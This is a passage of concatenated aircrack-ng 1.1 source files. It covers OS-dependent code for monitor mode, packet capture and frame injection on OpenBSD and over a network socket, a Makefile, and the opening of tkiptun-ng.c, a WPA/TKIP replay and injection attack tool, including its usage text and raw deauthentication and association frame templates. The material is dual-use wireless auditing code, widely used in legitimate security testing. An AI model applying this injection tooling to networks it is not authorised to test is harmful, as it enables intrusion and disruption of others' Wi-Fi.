6005, 6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045, 6050, 6055, 6060, 6065, 6070, 6075, 6080, 6085, 6090, 6095, 6100 }; return (channel > 0 && channel <= 221) ? frequencies[channel] : -1; } /** * Return the channel from the frequency (in Mhz) */ int getChannelFromFrequency(int frequency) { if (frequency >= 2412 && frequency <= 2472) return (frequency - 2407) / 5; else if (frequency == 2484) return 14; else if (frequency >= 5000 && frequency <= 6100) return (frequency - 5000) / 5; else return -1; } aircrack-ng-1.1/src/osdep/network.c0000644000000000000000000002276311321161061015772 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for using card via network. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #define QUEUE_MAX 666 struct queue { unsigned char q_buf[2048]; int q_len; struct queue *q_next; struct queue *q_prev; }; struct priv_net { int pn_s; struct queue pn_queue; struct queue pn_queue_free; int pn_queue_len; }; int net_send(int s, int command, void *arg, int len) { struct net_hdr *pnh; char *pktbuf; size_t pktlen; pktlen = sizeof(struct net_hdr) + len; pktbuf = (char*)calloc(sizeof(char), pktlen); if (pktbuf == NULL) { perror("calloc"); goto net_send_error; } pnh = (struct net_hdr*)pktbuf; pnh->nh_type = command; pnh->nh_len = htonl(len); memcpy(pktbuf + sizeof(struct net_hdr), arg, len); for (;;) { ssize_t rc = send(s, pktbuf, pktlen, 0); if ((size_t)rc == pktlen) break; if (rc == EAGAIN || rc == EWOULDBLOCK || rc == EINTR) continue; if (rc == ECONNRESET) printf("Connection reset while sending packet!\n"); goto net_send_error; } free(pktbuf); return 0; net_send_error: free(pktbuf); return -1; } int net_read_exact(int s, void *arg, int len) { ssize_t rc; int rlen = 0; char *buf = (char*)arg; while (rlen < len) { rc = recv(s, buf, (len - rlen), 0); if (rc < 1) { if (rc == -1 && (errno == EAGAIN || errno == EINTR)) { usleep(100); continue; } return -1; } buf += rc; rlen += rc; } return 0; } int net_get(int s, void *arg, int *len) { struct net_hdr nh; int plen; if (net_read_exact(s, &nh, sizeof(nh)) == -1) { return -1; } plen = ntohl(nh.nh_len); if (!(plen <= *len)) printf("PLEN %d type %d len %d\n", plen, nh.nh_type, *len); assert(plen <= *len); /* XXX */ *len = plen; if ((*len) && (net_read_exact(s, arg, *len) == -1)) { return -1; } return nh.nh_type; } static void queue_del(struct queue *q) { q->q_prev->q_next = q->q_next; q->q_next->q_prev = q->q_prev; } static void queue_add(struct queue *head, struct queue *q) { struct queue *pos = head->q_prev; q->q_prev = pos; q->q_next = pos->q_next; q->q_next->q_prev = q; pos->q_next = q; } #if 0 static int queue_len(struct queue *head) { struct queue *q = head->q_next; int i = 0; while (q != head) { i++; q = q->q_next; } return i; } #endif static struct queue *queue_get_slot(struct priv_net *pn) { struct queue *q = pn->pn_queue_free.q_next; if (q != &pn->pn_queue_free) { queue_del(q); return q; } if (pn->pn_queue_len++ > QUEUE_MAX) return NULL; return malloc(sizeof(*q)); } static void net_enque(struct priv_net *pn, void *buf, int len) { struct queue *q; q = queue_get_slot(pn); if (!q) return; q->q_len = len; assert((int) sizeof(q->q_buf) >= q->q_len); memcpy(q->q_buf, buf, q->q_len); queue_add(&pn->pn_queue, q); } static int net_get_nopacket(struct priv_net *pn, void *arg, int *len) { unsigned char buf[2048]; int l = sizeof(buf); int c; while (1) { l = sizeof(buf); c = net_get(pn->pn_s, buf, &l); if (c != NET_PACKET && c > 0) break; if(c > 0) net_enque(pn, buf, l); } assert(l <= *len); memcpy(arg, buf, l); *len = l; return c; } static int net_cmd(struct priv_net *pn, int command, void *arg, int alen) { uint32_t rc; int len; int cmd; if (net_send(pn->pn_s, command, arg, alen) == -1) { return -1; } len = sizeof(rc); cmd = net_get_nopacket(pn, &rc, &len); if (cmd == -1) { return -1; } assert(cmd == NET_RC); assert(len == sizeof(rc)); return ntohl(rc); } static int queue_get(struct priv_net *pn, void *buf, int len) { struct queue *head = &pn->pn_queue; struct queue *q = head->q_next; if (q == head) return 0; assert(q->q_len <= len); memcpy(buf, q->q_buf, q->q_len); queue_del(q); queue_add(&pn->pn_queue_free, q); return q->q_len; } static int net_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_net *pn = wi_priv(wi); uint32_t buf[512]; // 512 * 4 = 2048 unsigned char *bufc = (unsigned char*)buf; int cmd; int sz = sizeof(*ri); int l; /* try queue */ l = queue_get(pn, buf, sizeof(buf)); if (!l) { /* try reading form net */ l = sizeof(buf); cmd = net_get(pn->pn_s, buf, &l); if (cmd == -1) return -1; if (cmd == NET_RC) return ntohl(buf[0]); assert(cmd == NET_PACKET); } /* XXX */ if (ri) { // re-assemble 64-bit integer ri->ri_mactime = __be64_to_cpu((uint64_t)buf[0] << 32 || buf[1] ); ri->ri_power = __be32_to_cpu(buf[2]); ri->ri_noise = __be32_to_cpu(buf[3]); ri->ri_channel = __be32_to_cpu(buf[4]); ri->ri_rate = __be32_to_cpu(buf[5]); ri->ri_antenna = __be32_to_cpu(buf[6]); } l -= sz; assert(l > 0); if (l > len) l = len; memcpy(h80211, &bufc[sz], l); return l; } static int net_get_mac(struct wif *wi, unsigned char *mac) { struct priv_net *pn = wi_priv(wi); uint32_t buf[2]; // only need 6 bytes, this provides 8 int cmd; int sz = 6; if (net_send(pn->pn_s, NET_GET_MAC, NULL, 0) == -1) return -1; cmd = net_get_nopacket(pn, buf, &sz); if (cmd == -1) return -1; if (cmd == NET_RC) return ntohl(buf[0]); assert(cmd == NET_MAC); assert(sz == 6); memcpy(mac, buf, 6); return 0; } static int net_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_net *pn = wi_priv(wi); int sz = sizeof(*ti); unsigned char buf[2048]; unsigned char *ptr = buf; /* XXX */ if (ti) memcpy(ptr, ti, sz); else memset(ptr, 0, sizeof(*ti)); ptr += sz; memcpy(ptr, h80211, len); sz += len; return net_cmd(pn, NET_WRITE, buf, sz); } static int net_set_channel(struct wif *wi, int chan) { uint32_t c = htonl(chan); return net_cmd(wi_priv(wi), NET_SET_CHAN, &c, sizeof(c)); } static int net_get_channel(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return net_cmd(pn, NET_GET_CHAN, NULL, 0); } static int net_set_rate(struct wif *wi, int rate) { uint32_t c = htonl(rate); return net_cmd(wi_priv(wi), NET_SET_RATE, &c, sizeof(c)); } static int net_get_rate(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return net_cmd(pn, NET_GET_RATE, NULL, 0); } static int net_get_monitor(struct wif *wi) { return net_cmd(wi_priv(wi), NET_GET_MONITOR, NULL, 0); } static void do_net_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void net_close(struct wif *wi) { struct priv_net *pn = wi_priv(wi); close(pn->pn_s); do_net_free(wi); } static int get_ip_port(char *iface, char *ip, const int ipsize) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, &addr)) goto out; /* XXX resolve hostname */ assert(strlen(host) <= 15); strncpy(ip, host, ipsize); port = atoi(ptr); out: free(host); return port; } static int handshake(int s) { if (s) {} /* XXX unused */ /* XXX do a handshake */ return 0; } static int do_net_open(char *iface) { int s, port; char ip[16]; struct sockaddr_in s_in; port = get_ip_port(iface, ip, sizeof(ip)-1); if (port == -1) return -1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip, &s_in.sin_addr)) return -1; if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; printf("Connecting to %s port %d...\n", ip, port); if (connect(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { close(s); printf("Failed to connect\n"); return -1; } if (handshake(s) == -1) { close(s); printf("Failed to connect - handshake failed\n"); return -1; } printf("Connection successful\n"); return s; } static int net_fd(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return pn->pn_s; } struct wif *net_open(char *iface) { struct wif *wi; struct priv_net *pn; int s; /* setup wi struct */ wi = wi_alloc(sizeof(*pn)); if (!wi) return NULL; wi->wi_read = net_read; wi->wi_write = net_write; wi->wi_set_channel = net_set_channel; wi->wi_get_channel = net_get_channel; wi->wi_set_rate = net_set_rate; wi->wi_get_rate = net_get_rate; wi->wi_close = net_close; wi->wi_fd = net_fd; wi->wi_get_mac = net_get_mac; wi->wi_get_monitor = net_get_monitor; /* setup iface */ s = do_net_open(iface); if (s == -1) { do_net_free(wi); return NULL; } /* setup private state */ pn = wi_priv(wi); pn->pn_s = s; pn->pn_queue.q_next = pn->pn_queue.q_prev = &pn->pn_queue; pn->pn_queue_free.q_next = pn->pn_queue_free.q_prev = &pn->pn_queue_free; return wi; } aircrack-ng-1.1/src/osdep/openbsd.c0000644000000000000000000003016510761053203015733 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for OpenBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #ifndef IEEE80211_RADIOTAP_F_FCS #define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */ #endif #ifndef IEEE80211_IOC_CHANNEL #define IEEE80211_IOC_CHANNEL 0 #endif #ifndef le32toh #define le32toh(x) htole32(x) #endif struct priv_obsd { /* iface */ int po_fd; /* rx */ int po_nocrc; /* tx */ unsigned char po_buf[4096]; unsigned char *po_next; int po_totlen; /* setchan */ int po_s; struct ifreq po_ifr; struct ieee80211chanreq po_ireq; int po_chan; }; static void get_radiotap_info(struct priv_obsd *po, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { ri->ri_channel = 1; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; po->po_nocrc = 1; } } static unsigned char *get_80211(struct priv_obsd *po, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &po->po_next; totlen = &po->po_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(po, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int obsd_get_channel(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); if(ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1; return channel.i_channel; } static int obsd_set_channel(struct wif *wi, int chan) { struct priv_obsd *po = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); channel.i_channel = chan; if(ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1; po->po_chan = chan; return 0; } static int obsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_obsd *po = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ while (po->po_totlen == 0) { po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf)); if (po->po_totlen == -1) { po->po_totlen = 0; return -1; } po->po_next = po->po_buf; } /* read 802.11 packet */ wh = get_80211(po, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int obsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_obsd *po = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} rc = write(po->po_fd, h80211, len); if (rc == -1) return rc; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void obsd_close(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); close(po->po_fd); close(po->po_s); do_free(wi); } static int do_obsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_obsd *po = wi_priv(wi); unsigned int size=sizeof(po->po_buf); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; po->po_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = ifr.ifr_flags; flags |= IFF_UP | IFF_PROMISC; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strncpy(po->po_ireq.i_name, iface, IFNAMSIZ); /* same for ifreq [mac addr] */ strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ); /* open bpf */ for(i = 0; i < 256; i++) { snprintf(buf, sizeof(buf), "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf; strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; if(ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int obsd_fd(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); return po->po_fd; } static int obsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int obsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int obsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int obsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int obsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_obsd *po = wi_priv(wi); struct ifreq *ifr = &po->po_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(po->po_s, SIOCSIFLLADDR, ifr); } static struct wif *obsd_open(char *iface) { struct wif *wi; struct priv_obsd *po; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*po)); if (!wi) return NULL; wi->wi_read = obsd_read; wi->wi_write = obsd_write; wi->wi_set_channel = obsd_set_channel; wi->wi_get_channel = obsd_get_channel; wi->wi_close = obsd_close; wi->wi_fd = obsd_fd; wi->wi_get_mac = obsd_get_mac; wi->wi_set_mac = obsd_set_mac; wi->wi_get_rate = obsd_get_rate; wi->wi_set_rate = obsd_set_rate; wi->wi_get_monitor = obsd_get_monitor; /* setup iface */ fd = do_obsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ po = wi_priv(wi); po->po_fd = fd; return wi; } struct wif *wi_open_osdep(char *iface) { return obsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } aircrack-ng-1.1/src/osdep/dummy.c0000644000000000000000000000222510761053203015430 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for unsupported APIs. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" struct wif *wi_open_osdep(char *iface) { if (iface) {} /* XXX unused parameter */ errno = EOPNOTSUPP; return NULL; } int get_battery_state(void) { errno = EOPNOTSUPP; return -1; } int create_tap(void) { errno = EOPNOTSUPP; return -1; } aircrack-ng-1.1/src/osdep/Makefile0000644000000000000000000000312511321204141015561 0ustar rootrootAC_ROOT = ../.. include $(AC_ROOT)/common.mak RTAP = radiotap LIB = libosdep.a CFLAGS += $(PIC) -I.. $(LIBAIRPCAP) OBJS_NET = network.o OBJS = osdep.o $(OBJS_NET) #AIRPCAP_DIR = airpcap OBJS_APCAP = airpcap.o OBJS_OBSD = $(OBJS) openbsd.o openbsd_tap.o OBJS_NBSD = $(OBJS) netbsd.o netbsd_tap.o OBJS_FBSD = $(OBJS) freebsd.o freebsd_tap.o OBJS_LINUX = $(OBJS) linux.o linux_tap.o radiotap/radiotap-parser.o common.o OBJS_DUMMY = $(OBJS) dummy.o dummy_tap.o OBJS_CYGWIN = $(OBJS) cygwin.o cygwin_tap.o OBJS_DARWIN = $(OBJS) darwin.o darwin_tap.o # XXX make it a DLL, without polluting cygwin.c DOPCAP = ifeq ($(AIRPCAP), true) OBJS_CYGWIN += $(OBJS_APCAP) DOPCAP = $(AR) x $(AC_ROOT)/../developers/Airpcap_Devpack/lib/libairpcap.a endif all: @echo Building for $(OSNAME) @$(MAKE) .os.$(OSNAME) .os.dummy: $(OBJS_DUMMY) $(AR) cru $(LIB) $(OBJS_DUMMY) $(RANLIB) $(LIB) touch $(@) .os.FreeBSD: $(OBJS_FBSD) $(AR) cru $(LIB) $(OBJS_FBSD) $(RANLIB) $(LIB) touch $(@) .os.OpenBSD: $(OBJS_OBSD) $(AR) cru $(LIB) $(OBJS_OBSD) $(RANLIB) $(LIB) touch $(@) .os.NetBSD: $(OBJS_NBSD) $(AR) cru $(LIB) $(OBJS_NBSD) $(RANLIB) $(LIB) touch $(@) .os.Linux: $(OBJS_LINUX) $(AR) cru $(LIB) $(OBJS_LINUX) $(RANLIB) $(LIB) touch $(@) .os.cygwin: $(OBJS_CYGWIN) $(DOPCAP) $(AR) cru $(LIB) *.o $(RANLIB) $(LIB) touch $(@) .os.Darwin: $(OBJS_DARWIN) $(DOPCAP) $(AR) cru $(LIB) *.o $(RANLIB) $(LIB) touch $(@) .os.%: .os.dummy @echo "Your platform is unsupported by osdep, dummy code compiled." touch $(@) install: all uninstall: clean: $(MAKE) -C $(RTAP) clean rm -f $(LIB) *.o .os.* aircrack-ng-1.1/src/osdep/packed.h0000644000000000000000000000054610761053203015535 0ustar rootroot/*- * Copyright (c) 2007, 2008, Andrea Bittau * * pack structures * */ #ifndef __AIRCRACK_NG_OSDEP_PACKED_H__ #define __AIRCRACK_NG_OSDEP_PACKED_H__ #ifndef __packed #define __packed __attribute__ ((__packed__)) #endif /* __packed */ #ifndef __aligned #define __aligned(n) #endif #endif /* __AIRCRACK_NG_OSEDEP_PACKED_H__ */ aircrack-ng-1.1/src/osdep/common.h0000644000000000000000000000046311232725361015601 0ustar rootroot#ifndef _OSDEP_COMMON_H_ #define _OSDEP_COMMON_H_ int getFrequencyFromChannel(int channel); int getChannelFromFrequency(int frequency); /* // For later use, because aircrack-ng doesn't compile with MS compilers #if defined(WIN32) || defined(__WIN__) #define ftruncate(a, b) _chsize(a,b) #endif */ #endif aircrack-ng-1.1/src/tkiptun-ng.c0000644000000000000000000040071311355271630015275 0ustar rootroot/* * 802.11 WPA replay & injection attacks * * Copyright (C) 2008, 2009 Martin Beck * * WEP decryption attack (chopchop) developed by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #if defined(linux) #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "osdep/osdep.h" #include "crypto.h" #include "common.h" #define RTC_RESOLUTION 8192 #define REQUESTS 30 #define MAX_APS 20 #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define RATE_NUM 12 #define RATE_1M 1000000 #define RATE_2M 2000000 #define RATE_5_5M 5500000 #define RATE_11M 11000000 #define RATE_6M 6000000 #define RATE_9M 9000000 #define RATE_12M 12000000 #define RATE_18M 18000000 #define RATE_24M 24000000 #define RATE_36M 36000000 #define RATE_48M 48000000 #define RATE_54M 54000000 #define DEFAULT_MIC_FAILURE_INTERVAL 60 static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta); extern char * searchInside(const char * dir, const char * filename); extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; extern int hexStringToHex(char* in, int length, unsigned char* out); char usage[] = "\n" " %s - (C) 2008, 2009 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: tkiptun-ng \n" "\n" " Filter options:\n" "\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length (default: 80) \n" " -n len : maximum packet length (default: 80)\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -D : disable AP detection\n" " -Z : select packets manually\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -a bssid : set Access Point MAC address\n" " -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -e essid : set target AP SSID\n" " -M sec : MIC error timout in seconds [60]\n" "\n" " Debug options:\n" "\n" " -K prga : keystream for continuation\n" " -y file : keystream-file for continuation\n" " -j : inject FromDS packets\n" " -P pmk : pmk for verification/vuln testing\n" " -p psk : psk to calculate pmk with essid\n" "\n" " source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " --help : Displays this usage screen\n" "\n"; struct WPA_hdsk { unsigned char stmac[6]; /* supplicant MAC */ unsigned char snonce[32]; /* supplicant nonce */ unsigned char anonce[32]; /* authenticator nonce */ unsigned char keymic[16]; /* eapol frame MIC */ unsigned char eapol[256]; /* eapol frame contents */ int eapol_size; /* eapol frame size */ int keyver; /* key version 